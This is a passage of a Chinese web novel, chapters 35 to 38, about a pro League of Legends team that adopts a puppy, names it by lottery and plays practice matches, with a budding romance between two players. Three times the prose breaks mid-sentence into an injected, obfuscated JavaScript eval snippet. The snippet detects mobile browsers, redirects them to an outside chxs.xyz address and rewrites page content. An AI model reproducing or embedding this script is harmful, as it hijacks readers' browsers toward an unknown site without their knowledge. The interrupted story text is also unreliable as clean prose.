它睁着两只黑黝黝的眼看着众人,也不叫,就老老实实被邵乖抓在手里。 “还怪听话的耶。”于琰说。 廖望延最先直起身子,看见众人撅着屁股还在看,他说:“没准是狗妈妈故意放在这的,等找完食物就带走了。” 于琰提议:“反正咱们也没事干,在这等会呗。” 他就喜欢这些毛茸茸的小畜生,别管是猫啊狗啊的,只要看见带毛的他就走不动路。 其他人也没反对,七个大男人排排坐在马路牙子上,这种视觉效应导致路人频频回头看他们,还有人偷偷摸摸地用手机拍。 廖望延不禁用手捂住了脸,他想立刻回酒店。 众人坐在路边聊了一个多小时的天,也不见有一条狗出现在视线内。但此时邵乖腿上的幼犬已经开始叫了,它爬得不太利索,扑腾着想往邵乖衣服里钻。 “估计是饿了。”老姚说。 邵乖用手把小狗固定在自己腿上,开口问:“那咋办?也不能把它扔回草丛里吧?万一狗妈妈不回来还不得饿死。” “我去超市买点羊奶粉,邵乖把他放裤兜里带回酒店去。” 于琰撑着膝盖起身就要走,还没走出第一步,衣角就被人拉住,他扭头往下看。 廖望延拽着他的T恤边,抬眼问:“想养?那你也得问问其他人的意思吧。” 于琰又看了一圈其他人,最后把目光停留在刘国柱身上。 看他迟迟没说话,于琰三两步走到他身边,蹲下后将下巴放在他膝盖上,眨巴眨巴大眼对他撒娇:“柱~哥~,你这是在拯救一条小生命耶,是积德的事,菩萨知道了也会保佑你哒!” 刘国柱简直没眼看,只有求到他的时候于琰才会这么说话。 他颠了颠腿,让于琰把下巴拿走,自己琢磨了几秒开口:“咱们这是出来旅游的,突然带回去个狗算怎么回事,而且也没法随身带,只能托运,这么小的狗一个不小心就死在路上了。” “没事哒没事哒!我认识一个很负责的托运公司!车上有全方位摄像头能保证宠物安全!而且也会配备专业人士给宠物喂食!”于琰立刻接话。 刘国柱感觉自己眼睛跳了几下。 旁边的老姚叹了口气说:“虽然有点麻烦,但这狗倒也挺乖,不如带回去当个吉祥物。” 于琰给老姚送了个飞吻:“对哒对哒~姚哥说得对~” 老姚也感觉自己眼睛跳了几下,挪开视线不再说话。 刘国柱内心挣扎了半天终究还是松了口:“行吧,不过得先带它去宠物医院做个检查,健康的话再带,我可不想用公费给它治病。” 坐在最边上按着狗的邵乖将手机屏幕展示给众人,上面赫然是离众人最近的宠物医院。 “那我去买奶粉,你们带狗子去医院,咱们晚点在我房间集合。” 最近的大型超市就在回酒店的路上,于琰说完就拽着廖望延的手腕火急火燎地走了。 “尿垫、塑料小碗、奶粉、湿巾、奶瓶、小窝,阿延你看看还有没有什么没买的。” 于琰蹲在超市货架前,低头对比着手里的两种羊奶粉问道。 廖望延扫了一眼购物车,该拿的不该拿的全都拿了,一堆生活用品里还塞了好几袋膨化零食。 真狗和假狗的东西都在里面。 “差不多了,你再多买点都够这狗用一辈子了。” “那行。” 二人拎着大包小包回屋的时候其他人还没回来。于琰把羊奶粉拆了罐,尿垫铺在地上,又特意给前台打了电话询问是否能在屋子里养狗,得到肯定的答复后才放心。 翘首以盼一个小时,五人一犬才回了酒店。 邵乖把检查报告扔到于琰床上:“一切健康。医生说它应该一个月大,但是体质有点弱,建议再喂一个月奶粉,等两个月后再开始断奶。” 于琰早就把水烧好了,沏好奶粉以后还特意在手背试了试温度,确认不会烫到小狗后才把它放在床上,自己则蹲在床边给它喂奶。 根本不用教,小豆丁扑腾扑腾咬着奶嘴开始嘬,边喝边哼哼,跟人类大拇指差不多长的小前腿还不停地往前伸。 除了廖望延之外,众人都一眼不眨地认真盯着它。 奶狗的肚子肉眼可见的圆了起来,于琰把奶嘴从它口中拽出来,拎着它的后颈,用手指上下刮了刮它还没怎么长毛的小肚子,“啧”了一声后将它放回床上去卫生间涮奶瓶。 Nap跟狗大眼瞪小眼,半晌后问大家:“既然都决定养了,是不是得给它起个名?” 邵乖举手:“我提议叫啸天!听着就威猛霸气!” “赖名好养活,我建议就叫饭桶。” “饭桶还不如旺财,寓意好。” “叫黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655782|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天大帝之乌云盖日之一杆银枪破苍穹!” “于琰你快少看点玄幻小说吧。” 众人纷纷发表自己的看法,谁也不想放弃未来基地吉祥物的取名权,床上的幼犬就睁着两颗黑葡萄眼看他们争得脸红脖子粗。 大家争执不下的时候,廖望延轻轻吐出两个字。 “小黑。” 屋子里高亢的争吵声瞬间安静,几秒后又重新恢复起喧嚣。 看着没人搭理自己,廖望延皱了皱眉问:“小黑不好吗?直白朴素好上口,不比于琰那个黑天大帝之什么玩意的好多了?” 被cue到的人面无表情地扭头看他,用不许反驳的语气告知他:“从现在开始剥夺你的说话权力,你已经没有取名权了。” “凭什么?这小畜生以后也要跟我在同一屋檐下,凭什么我就没有取名权?它刚才喝的奶粉嘬的奶瓶一会尿尿要用的尿垫都是我结的账。” 廖望延不服,小黑这名多好,于琰一点都没有艺术细胞。 看着众人忽视他的话,他给出了个提议:“就把取的名字都写成小纸条,叠起来让狗自己选呗。” 众人对视了几眼表示赞同。 过了五分钟,众人的白色纸条被叠成一个个小方块,打乱后绕成圈放在了小狗身边。 七张纸条分别为: 邵乖的啸天、Nap的饭桶、左星水的黑芝麻、刘国柱的旺财、老姚的白加黑、廖望延的小黑、于琰的黑天大帝之乌云盖日之一杆银枪破苍穹。 众人围在床边,翘首以盼希望狗能选到自己给它取的名字。 只见纯白色被罩上,黑色幼犬左右看了看,扑腾着短腿先到了左上角的纸条边,闻了闻后又转头去右上角,用小爪子扒拉了几下,当众人以为他就要选择那张纸条的时候,它却又扭头去了另外的方向。 几乎将所有纸条都闻了个遍后,它重新回到了第一个闻过的纸条边,四条腿一岔,趴在了上面。 廖望延用手指头扒拉开狗子,将它翻了个四脚朝天,轻轻张开纸条,看见前两个字后他猛地把纸条合上说道:“不算,重选。” 于琰一个飞扑从他手里抢过纸条,打开后纸上赫然是他的黑天大帝。 他仰天大笑:“哈哈哈,我就知道,没白瞎刚才给它喂奶,太有品味了!” 廖望延把纸条抢回来撕成碎片,面无表情地扔进垃圾桶,说:“我不信,再来一次。” “愿赌服输好吧!它自己选的!” 于琰不管,既然选了他的名就不能换了。 刘国柱先妥协:“算了算了,黑天大帝就黑天大帝吧,起码听着有气势。” 其余众人也没再挣扎,在屋里逗了会狗就各回各屋了。 只有廖望延,时不时就要用凶狠的眼神瞪狗,嘴里还念叨着:“一会就把你扔出去。” 结果当然是被于琰挡住视线,用充满防备的眼神盯着他:“想动它就先从我的尸体上踏过去。” “别逼我把你和它一块扔出去。” “你敢!” “你看我敢不敢。” 36.Chapter 36 旅游剩下的最后两天,众人除了日常的消遣外又增加了一个额外兴趣—— 逗狗。 以廖望延为首的臭不要脸喜欢看狗出洋相组对阵以于琰为首誓死守护黑天大帝尊严荣誉组。 可惜,后者组成员只有两位,一个于琰一个邵乖,他们分别给自己封号大首席和小首席,在其余五人见缝插针扒拉狗子的时候采取极端手段拯救大帝。 极端手段譬如……求情。 “水哥!求你了!你再让它多滚两圈它就该吐了!它刚喝完奶!” “延哥!给小弟一分薄面,抬起您的纤纤玉手,放大帝一条生路!” 譬如……求情无效开始强势反抗。 “Nap!把你的脏手给老子撒开,再敢拽狗尾巴我就把你头发都揪下来!” “廖望延!你爹和你说话呢!装什么耳聋听不见!” 譬如……放弃。 “算了,你们玩吧,别把它玩死就行。” “廖望延!你给我等着!” 大帝就在几个网瘾少年的手里被反复揉搓,区别于它的大小首席,它本狗并不恼怒于众人的逗闹,反倒跟着众人的手玩的不亦乐乎。 它一口啃在某位廖姓人士的手指肚上,奶狗的乳牙差不多刚长全,咬起人来也没什么痛感,比起用咬来形容更像是嘬,固定住男人的手指后舌头轻微蠕动像是在喝奶,让手指头的主人泛起一丝痒意。 很快就到了归日,飞机是早上8点的。 廖望延早早就起了床收拾行李,看着另一张床上还在呼呼大睡的死猪,他十分自觉地把另一个箱子也整理好立在门口。 看着马上就要到集合时间,某人还没有任何醒的迹象,他默不作声走到床边,伸出手捏住了于琰的鼻子。 无法靠鼻子呼吸的人硬生生被憋醒,睡眼惺忪地吸溜了一下口水,不甚清醒地问:“干嘛啊?” “你还有半小时的时间起床收拾自己,当然你也可以不起,无非就是自己留在B市自生自灭。”廖望延说。 “还有半小时呢,着什么急,我再睡15分钟。” 于琰说罢就动动屁股转了个身,抱着枕头又要继续睡。 廖望延“啧”了一声,弯腰两手分别捞起他的腋下和膝盖弯,猛的一用力将于琰公主抱起来转身就要走。 感觉自己腾空了的男生一下子清醒过来,生怕自己被摔下去,抬起右手搂住他的脖子惊恐地问:“不是,干嘛啊你!” “起不起?不起就这么抱着你去外面逛一圈,给你醒醒神。” “把你爹放下来!你见过谁家一米八三青壮年被公主抱的!我还要不要脸了!” 于琰扑腾着从廖望延手里翻到床上,扭动了两下揉着头发下床,嘴里还嘟嘟囔囔地骂他。 廖望延权当没听见。对付于琰就得用强硬手段,怀柔政策根本不管用,只能助长他的嚣张气焰。 黑天大帝早在前一晚上就被于琰送上了托运公司的车,B市到T市如果开车的话起码要两天,早安排早省心。他还细心地加了车上工作人员的微信,以便随时能联系到人了解狗的最新情况。 等他趿拉着拖鞋推着箱子到一楼酒店大厅,其余人早就在休息区等他半天了,廖望延受不了他那个墨迹劲,早早就独自下了楼。 刘国柱问:“东西收拾好了吧?没问题的话咱们就走了。” 得到肯定答复后,众人踏上了归途。 四小时后,飞机落地T市。 刚一下飞机,于琰就冻得打了个哆嗦,南北方的温度差异过高,他穿着人字拖的脚趾头被冻得直往脚底板里塞。 众人找了个地方换上冬衣,叫了三辆网约车才前后脚回到基地。 进到屋里后,几人把行李箱往旁边一推,身子往沙发一瘫,对着厨房里的阿姨连声喊饿。 旅游的这几天阿姨也放了个好假,收到刘国柱消息的她当天就买了不少的菜,现在正在厨房忙活。 没用多久,七八道T市口味的家常菜就搬上了餐桌。 众人狼吞虎咽。 于琰一大口米饭塞进嘴里差点没噎着,他拍着胸脯顺气又灌了好大一口水,感叹道:“还得是这个味,B市的菜我实在是吃不惯。” 饭桌上的其余人点点头却没搭话,都忙着往嘴里塞饭腾不出嘴说话。 等都吃的小肚溜圆,老姚打了个嗝,扫视了一眼说:“下午休整,晚上训练赛。” 此等薄凉话语一出,众人瞬间用埋怨的眼神盯着他。 于琰:“老姚,你摸摸自己的胸口,应该没有跳动的感觉吧?因为你根本没有心。” 邵乖:“老姚,知道你为什么找不着对象吗?因为训练赛就是你对象。” Nap:“姚哥,一点回味的时间都不给人留吗?” 左星水:“姚哥,确实需要点休整时间,要不明天呢?” 廖望延:“行。” 最后某人的一个行,把所有目光都吸引到了自己身上,看着其他人把自己当作叛徒的眼神,他耸了耸肩。 老姚欣慰地看着廖望延,对其余几人强势开火:“于琰,我不是没心吗?你明天训练加两个小时。邵乖,这么喜欢关注别人找不着对象?明天我把你的微信给隔壁KOG运营姑娘,反正她喜欢你挺久了,我替你促成一段好姻缘。Nap和星水,再多说一句你们俩就和于琰一个下场。” 看着被提到的几人慌乱摆手,他恨铁不成钢地说:“你们都和Mesh学习学习,为什么人家就能把训练当成乐趣,一天天让你们打个训练赛跟要命一样,这样还怎么进步?” “就是就是。”廖望延在一旁帮腔。 看着众人迫于自己的强势不再说话,老姚点了点头:“就这么定了,晚上八点半,和HTT打。明天还有三场,分别是TOP、DL、NWG。” “啥?DL?” “NWG?” 于琰和廖望延同时出声。 毕竟一个是前男友的新战队,另一个是自己的老东家,这么快就要训练赛上见很难不惊讶。 “没听错,都是BO3,DL那边应该会上一场钟络试水,到时候于琰你别掉链子。”老姚盯着于琰威胁道,看他点点头才满意,又扭头看廖望延,“NWG那边是王哥主动联系我的,我想着这样也好,早打早研究,Mesh你没问题吧?” “嗯,没问题。” “好,那就这样。对了,顺便跟你们说一下,今年德杯还是上二队,但是有些队伍会用新阵容去德杯磨合,到时候咱们也需要针对性的看一下。” 见没人说话,老姚摆摆手让众人上楼,几人推着行李箱回屋的样子像是上刑场,本还高高兴兴的众人顿时像霜打的白菜一样发蔫。 训练赛就是最好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673463|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的镇静剂,不管多兴奋的人都能通过它而无欲无求。 当然,除了某个热衷于训练赛的男人。 廖望延把行李箱扔到卧室角落,脱掉外衣躺在被子上,说实话,他现在还挺兴奋的,巴不得立刻到明天。 之前钟络在HG的时候,他根本没机会通过对阵的方式发泄自己心里的阴暗情绪,现在终于有了机会。 他自诩不是什么好人,没有那种高尚的品德把游戏和现实分开。 现在他只想在训练赛上将钟络抓一百次杀一百次,在他的尸体上跳舞亮标,在所有人频道打问号,让他在两队人的面前羞愧得无地自容。 廖望延也很期待和新NWG的对战。老王会主动约训练赛他猜到了,但是没想到会这么快。一想到帮于琰抓死FLY,NWG基地里会传来一声凄惨的哀嚎,他就莫名想笑。 NWG的上野两个新成员分别是从KOG和PNG买入的,NWG和PNG进行了上单互换,CC去了PNG,而原PNG的上单HOOK被老梁顺势买下。 新打野Aser也是一位老选手,从KOG打了一年半,最出名的英雄就是瞎子,也曾一脚带领TOP进入过世界赛淘汰赛。 这两个新人搭配上NWG的三位老选手,不得不说对于HG来说很有威胁性。 倒也没什么好虚的,毕竟在NWG呆了四年的廖望延对于其中三人过于了解,闭着眼都知道他们在游戏里会下意识做出哪些决策。 现在需要提防的就是,老王会针对廖望延对己方队员的了解而做出针对性的陷阱。 就像之前HG和PNG打训练赛的时候一样,CC以为廖望延会那样做,而他偏就是借用这种了解打了个反逻辑,才能成功抓死CC造就一波小节奏。 训练赛大家还是会以了解为前提去布阵,极少会有泄露战术与压箱底大招的情况发生,之前PNG的那手时光也不过是用来试水,算不上杀招。 基于这些分析,廖望延并不是很担心HG会输给NWG。老姚有着不逊于老王的布阵方式,起码在bp上不会先输一头,担心只在于因为这一周的放纵,其他人会不会对游戏产生懈怠心理。 好在和NWG的训练赛是最后一场,有充足的时间让大家恢复状态,这也是老姚有意为之。毕竟如果在旅游一周后的当天就对上他们,HG的胜率很低,所以才选择了四支队伍里最弱的HTT打第一场。 廖望延在心里琢磨了半天才起身去收拾行李。把干净的衣服塞回衣柜,脏衣服整理出来,所有生活物品全部归位,行李箱重新塞进角落,对着收拾完的卧室他叉着腰点了点头,拿起脏衣袋出门去洗衣间。 他正要往洗衣机里塞衣服的时候被叫住,扭头一看是于琰拎着满怀的衣服进来。 “等会等会!把我的衣服一块塞进去!”于琰说。 廖望延看着他那一堆五颜六色的衣服叹了口气:“我暂时不想把我的白衣服染成别的颜色,你排队等着吧。” 于琰这才发现自己的衣服确实不适合和他的一起洗,他把衣服扔进脏衣篮,挠了挠头回:“那我先回去,你洗完了叫我。” 廖望延叫住他:“别回了,我用的是15分钟的速洗模式,咱俩聊会天也就洗完了,省得你一会还要跑一趟。” “聊啥?”于琰问。 “闲着也是闲着,聊聊明天对上你的前男友。” 37.Chapter 37 “他?他有什么可聊的?” 于琰从脏衣篮里扯出一件自己的衣服垫在地上,一屁股坐了上去。 廖望延抱着臂说:“毕竟是打前男友,万一你明天一个心软,放水放到大西洋那怎么办?” “哈?我?对他放水?我对路边的狗放水都不会对他放水,你放一百个心好了。” 于琰屈膝双臂抱着腿,听见廖望延的话翻了个白眼,他不知道钟络都说了什么,自己可知道。 “那最好,别到时候人家在游戏公屏里打个小琰,你就钢铁心化为绕指柔。” “我要是放水我就是狗。” 廖望延听见狗这个字,突然想起了还在半路上的某只幼犬,不由得问道:“你们教主到哪了?” 猛然听见教主这个词于琰还没反应过来,脑子里转了一圈才明白他说的是黑天大帝,从裤兜里掏出手机打开托运公司的app。 看见监控摄像头里狗子睡得正香他才安心退出软件,随口道:“挺好,吃得好睡得香,比我这个晚上就要上战场的大首席美多了。” “打个HTT算什么上战场,他们硬实力比咱们差不少,正常打的话输不了。” 廖望延说这话并不是狂妄自信。 HTT的实力在整个LPL处于中下游,虽然不是特别差,但对上HG胜算也不高,以前廖望延还没来的时候HTT都打不过HG,更不要说现在有了个比钟络强好几倍的打野进队。 “一礼拜没训练,话可不能说太满。” 于琰打了个哈欠,将下巴放在膝盖上看着滚筒洗衣机发呆。 廖望延也没继续说话,但他倒不是发呆,而是在脑子里想着晚上要不要试试新战术。 他进HG一个多月,队员之间都熟悉得差不多了,已经拥有了默契度,各种战术体系老姚也让他们都尝试过,现在正好有个相对较弱的队可以检验一下之前的训练结果,不试试反倒是可惜了。 思考了良久,洗衣机响起提示音,廖望延拿出里面的衣服挂在晾衣杆上。 看着昏昏欲睡的于琰,他想着随手帮个忙,把脏衣篮里的衣服都塞进了洗衣机,只剩下最后一件还压在某人屁股底下。 他在于琰身边蹲下,二人之间的距离随着他上半身的倾斜越来越近,近到他能看清于琰脸上细小的绒毛与轻轻颤动的眼睫。 于琰慢悠悠地睁开眼,正要打哈欠的时候,余光瞟见离自己过近的一张脸。 二人的脸也就一拳的距离,于琰被吓得打了个激灵,用手掌撑着身体往后退了好几下,惊魂未定地吼:“靠,你要吓死你爹啊。” 廖望延面无表情,伸手拽了一下他屁股底下和地面接吻了15分钟的衣服,又用另一只手指着还开着门的洗衣机。 一句话没说,却表达出了所有意思。 于琰低头看了看,“嘿嘿”两声挪开屁股。 “你叫我一声不就得了,非要离我那么近,我还没找你赔偿精神损失费呢。”于琰挠着脸解释。 廖望延阴阳怪气:“怕打扰您的美梦,不敢叫您。” 说罢他就转身要走。 于琰一个助跑攀上他的背,两腿使力固定住自己,直起上半身戏精附体道:“驾!朕的汗血宝马快快送朕回乾清宫!” 这个动作让廖望延想起了之前,他背着于琰回房间的那一次。 那晚被嘴唇轻触到的后颈现在又突然烫了起来,他猛地闭上眼,在心里念了两句阿弥陀佛。 感受到于琰在自己背上不耐烦地乱动,他重新睁开眼,用胳膊卡住他的腿弯走出了洗衣间。 大家早晨都起的太早,所以现在整个基地里没有一点活人味,应该都在补觉。于琰也不好大声嚷,只能凑在廖望延耳边小声逼逼:“你再慢点都能赶上我太爷爷走路的速度了。” 廖望延不搭理他,慢慢悠悠和逛街一样左看看右瞅瞅,手指时不时摩梭一下他裤子上的布料,明明到了他的卧室门口也不进去。 于琰烦了,两腿一松下了背,还恩将仇报地用脚踹他的汗血宝马,踹完之后像兔子一样迅速溜回房间关上了门。 廖望延在门口轻笑一声。 没了钟络,他也没了耐心。 之前等了五年等来了个噩耗,现在好不容易有这种近水楼台的极佳机会,没道理放过。 他不是钟络那种废物。 他这桶温水,有的是时间煮一只姓于的青蛙。 - 虽然老姚说的是八点半开始训练赛,但晚上吃过晚饭后,大家就不约而同地进了训练室。 距离八点半还有一个半小时,众人都开启了电脑准备rank几把找找手感。 没人敢在懈怠一周后心大的直接打训练赛。除非是后脑勺太痒,想和老姚的笔记本亲密接触一下。 廖望延单排玩了把瞎子,感觉自己手感保持的还不错就没再继续了,挪了挪上半身把胳膊支在电竞椅扶手上盯着右边的人。 于琰单排的时候一点也不像平常一样吊儿郎当,总是扬起的嘴角在认真时会微微抿起,眉头也会微皱,每当单杀或者团战赢了之后就会对着屏幕挑挑眉。 他打游戏的时候不会分出手干别的事,例如回城的时候看一眼手机或者喝口水,诸如此类他都不会做。不对线的时候他永远在看装备,看面板,看其他路的战况。 于琰很强,但LOL是五个人的游戏。从自身到队友到教练,每一个环节都会影响到选手成绩,所以并不是某一个人强就足以带着整个队伍拿下好成绩。 这也是为什么廖望延一直对钟络没有好感的原因。 四个正在强势期的选手因为一颗老鼠屎而拿不到该拿的成绩,说起来属实让人心里不痛快。去年季后赛第八可以说是五人刚组队还不熟悉,但今年的季后赛第五,和钟络有着莫大的关系。 如果不是他在季后赛BO5最后一把祭出毫无作用的打野奥拉夫,HG不一定进不去世界赛,可惜奥拉夫用一板斧直接送HG归西。 于琰早就感受到了廖望延的目光,趁着自己B键回城,他抬起左手用掌心盖住廖望延的脸,道:“别看了,再看你也不如你爹帅。” 说完他就要把手拿走,却不想廖望延抓住他的手腕让他无法动弹,他往后缩了缩没能挣脱,轻轻“啧”了一声。 “好好摸摸你爹出众的外貌条件,以后别大言不惭。” 廖望延松开他的手腕将手往上蹭,用手心覆盖住于琰的手背,带动着他的手指在自己脸上轻触。 “你爹的眉毛。” “你爹的眼睛。” “你爹的鼻梁。” “你爹的人中。” 他每说五个字,就捏着于琰的食指滑动到所说的那处。 “你爹的嘴唇。” 最后一处说完,他将于琰的食指按在自己下唇处。 稍稍用力,让他的指腹将自己的嘴唇压得微微下陷。 廖望延无声地笑了。 于琰大脑一片空白。 从指腹到肩膀,他整条胳膊都在发麻。 那种感觉就像是以前的老式电视机,半夜没有节目可放,待机画面出现的雪花屏。 柔软的触感让于琰脑子里一团乱麻,他猛地用力挣脱廖望延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686705|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的束缚,将手指重新放在键盘上。 “你……我……我草,你他妈干什么啊。” 于琰话都说不利索了。 他操控的英雄已经站在泉水一分钟了,队友给他点信号他都没能及时反应过来。 廖望延收回手,眼底溢出藏不住的愉悦:“你结巴什么?你不是说自己比我帅吗?让你摸摸才能更好对比啊。” “滚!” 于琰右手不自主地抓紧鼠标,在队友又一次发来问号的时候才僵硬地操控着人物出门。 廖望延好整以暇地看着于琰的侧脸,后者带着入耳式耳机的耳朵早就背叛了主人的意志,红得要命。 见好就收,过度反而会起反效果。 廖望延这么想着,收回了自己的视线,坐正后重新开始单排。 于琰余光看见他的动作后轻轻吐出一口气,稍微放松了一点。 晚上八点十五,老姚推门进来,看见众人都已落座点了点头,开始联系HTT那边建房。 等众人都进到自定义房间后,廖望延问出了下午在洗衣房的考虑:“姚哥,要练练新阵容吗?” 老姚摇了摇头:“第一把先正常打,赢了的话第二把再练。” 廖望延颔首扭回了头。 HTT和之前的PNG是一个路数,五手都ban掉了打野位。寡妇自然在第一手就被禁用了,不给廖望延丝毫妄想的机会。 心头挚爱上了ban位的某人对着屏幕叹了口气,用手指点了点屏幕以表哀思。 第一局没怎么费力就拿下了HTT。 事实证明提前一个半小时rank恢复手感还是很有用的,至少五人都没有出现非常明显的失误。 第二局老姚决定练一下新阵容,让Nap选出巴德去和廖望延野辅双游,而左星水则是选出轮子妈在下路准备抗压。 这手巴德明显出乎HTT的预料,但巴德是在最后的counter位才选出,他们也没有办法,只能以不变应万变。 开局Nap就去上路给邵乖放了个W。其效果是治疗圣坛,队友十秒后踩上去可以获得小幅回血和移速,相当于是一个小型血包。 给邵乖放完技能后Nap原地回城,重返下路帮忙打红Buff,此时W的cd已经转好,他又给廖望延扔了一个。 三级后,Nap开始游走。配合廖望延先从中路帮于琰拿下人头,六分钟时又帮助他拿下巢虫。 下路的左星水确实比较难熬,1打2压力很大,Nap出现在地图其他地方时,他还要提防HTT打野来三包一gank。好在虽然自己被抓死两次,但Nap已经跟廖望延一起帮助上中拿下了巨大优势。 HG这手巴德打乱了HTT的全盘计划,虽然通过抓左星水给他们ad造就了优势,但上中两条路已经完全无法还手了,雪球越滚越大。 当两路被破,下路只剩高地塔时,HTT决定破釜沉舟强行开团再试一波,却不想自家上单和打野刚贴近HG众人,就被巴德的大招控在了原地。 失去先机的HTT以溃败之势输掉团战,在所有人频道打出GG,HG五人退出游戏。 团建七天,回来之后立刻打训练赛还拿下了2-0,老姚很满意。 本来还对明天的三场有些担忧,看见众人今日的状态他也不再担心,大手一挥放众人回去休息。 于琰异于往常的沉默了一整晚,听见老姚的话飞速关机跑出了训练室。 老姚茫然地看了一眼剩余四人,问:“他咋了?” 三人皆摇头,唯有廖望延没动作,看着门口扬起了嘴唇。 38.Chapter 38 于琰几乎是以逃窜的姿态溜回房间。 刚才和HTT的那两场训练赛,他脑子根本无法集中精神,只能用着肌肉记忆在打。 食指每按下一次技能,他就能想起自己指腹贴在廖望延嘴唇上的触感。 于琰蹬下拖鞋,一个飞扑把自己藏进了被子里,半天都没能平复心情。 听见敲门声,他笃定门外肯定是那个影响自己心情的老狗比,故意没应声装作不在,却忘了自己在大意之下并没锁门。 廖望延在门外敲了三次都没人理也失去了耐心,往左拧动门把手像进自己卧室一样溜达进了屋。 看见床上隆起的小山包他没作声,直接坐在了于琰桌子上,守株待兔等着人自己出来。 于琰闷在被子里也听见了脚步声,只能死猪不怕开水烫继续躲,想着没准过一会老狗比自己觉得没意思就走了。 等了好半天他也没听见其他声响,琢磨着应该安全了就想悄悄把脑袋探出被子查探情况。 廖望延悠闲地看着他,被子底下的身躯慢慢蠕动,先是从被沿探出一颗头,然后慢慢往下拉,露出一双充满警惕的大眼。 那双眼看见他就像兔子遇上鹰一样用被子重新将自己拢住,又装死一般没了动静。 优秀的打野都具备充足的耐心,廖望延一点也不急。 他知道,于琰会先忍不住。 如他所料,又过了半晌,于琰终于受够了房间里诡异的气氛,一把掀开被子坐起来,面无表情地盯着对面桌子上的人。 “你到底想干什么?” 廖望延摊手耸肩:“没想干什么啊,我倒是想问你,你跑什么?” 于琰在心里骂了一万句街,照旧是一副死人脸,只嘴角抽了抽,撒谎说:“肚子疼,想赶紧回来拉屎。” “哦~”廖望延点点头,撑着桌面跳到地上,走到床边后弯腰盯着于琰,“那就好,我还以为你在躲我呢。” 于琰被戳中心事又没法承认,恼羞成怒地推开他道:“笑话,我?躲你?哈哈你真是大言不惭。” 廖望延被推得往后退了一步,也没跟他计较,从他床边点了根烟,第一口烟雾被他直直喷在于琰脸上。 后者冷着脸地用手做扇,扇走自己面前的烟后不甘示弱地有样学样。 被他幼稚的行径逗笑,廖望延叼着烟重新坐回桌子上,决定给双方个台阶。 “跟你开个玩笑,看你吓得那个样。” 于琰瞪他:“有你那么开玩笑的吗?” “我也没干什么啊。认识这么多年了,让你摸一下我嘴唇你害羞个什么劲?又不是我摸你。要不你让我摸一下,咱俩两清?” 廖望延作势就要把话变为现实。 “你他妈别乱动!老子没同意!” 于琰屁股往后退了几下,直到后背顶住床头才停下来。他揪着被子,像个良家小媳妇要被恶霸欺凌一样如临大敌。 “嗤,看你那个胆子。”廖望延轻笑一声,“你之前在钟络面前说过什么还记得吗?你说光屁股时候就认识我了,这话可不是我瞎编的吧?屁股都看过了,摸下嘴你还挺在意?” 于琰突然就想起了那天的场景,被钟络气疯了的自己确实说过这句话。但那时候和现在不一样啊,廖望延以前嫌弃自己跟嫌弃农村猪圈里的小花猪一样,现在突然亲密到摸嘴唇,他不适应很合理吧。 “反正你以后少对老子动手动脚的。” “你爹就爱动手动脚,不愿意的话你干脆把我手剁了吧。” 于琰气的眼歪鼻子斜,也顾不上尴尬不尴尬了,把烟灭在烟灰缸里,光着脚跳下床就扑向他。 “廖望延!你还要不要脸了!” “不要了。” 一个大型人体挂件扑在自己身上,廖望延不得不将双手掌心撑在桌面上,用胳膊稳住两个人的身体。 于琰卡在他的□□,上半身向前倾,两只手卡在他的脖子上,稍微用了些力却又不至于让他喘不上气。 廖望延就以这种任于琰宰割的方式放纵他的所有行为。 突然。 他抬起一只手,用极快的速度掐了一下于琰的嘴唇,看着于琰捂住嘴往后退他扬唇一笑:“两清了。” 这么一闹,于琰心里也没了刚才的别扭感,只当廖望延纯粹是闲的没事干想犯贱。 “你真有病。”于琰站在离他两步远的地方翻了个白眼。 廖望延调整了一下坐姿,将手背在身后,刚刚捏过于琰嘴唇的两根手指在没人能看见的地方轻捻了几下。 “跟你闹着玩的,谁能想到你反应这么大。”他说。 于琰光着脚踹了一下他的小腿,重新返回床上坐着。 看见他的动作廖望延皱了皱眉,拽出两张湿巾团了团扔到床上说:“擦脚,刚踩完地就回被窝你是真不嫌脏。” 于琰边擦脚边翻白眼:“看不惯?看不惯别进我房间。” 二人又对呛了几句,廖望延才跳下桌子回了自己卧室。 转天。 知道有三场训练赛要打,众人养精蓄锐摩拳擦掌。 第一场要对上的是以运营著称的TOP,其队里的打野zzzheng是仅次于廖望延以外名声最大的打野选手。 与HG不同,TOP的战队打法更偏向于稳健争夺地图资源,通过打出技能为三线造就优势,并不执着于人头。 对上他们就像是拳头打棉花,使不上力。 曾经的HG是一把刺刀,但并未开锋,自廖望延进队才逐渐展示出利刃的姿态,今天这场训练赛,是盾与矛的竞争。 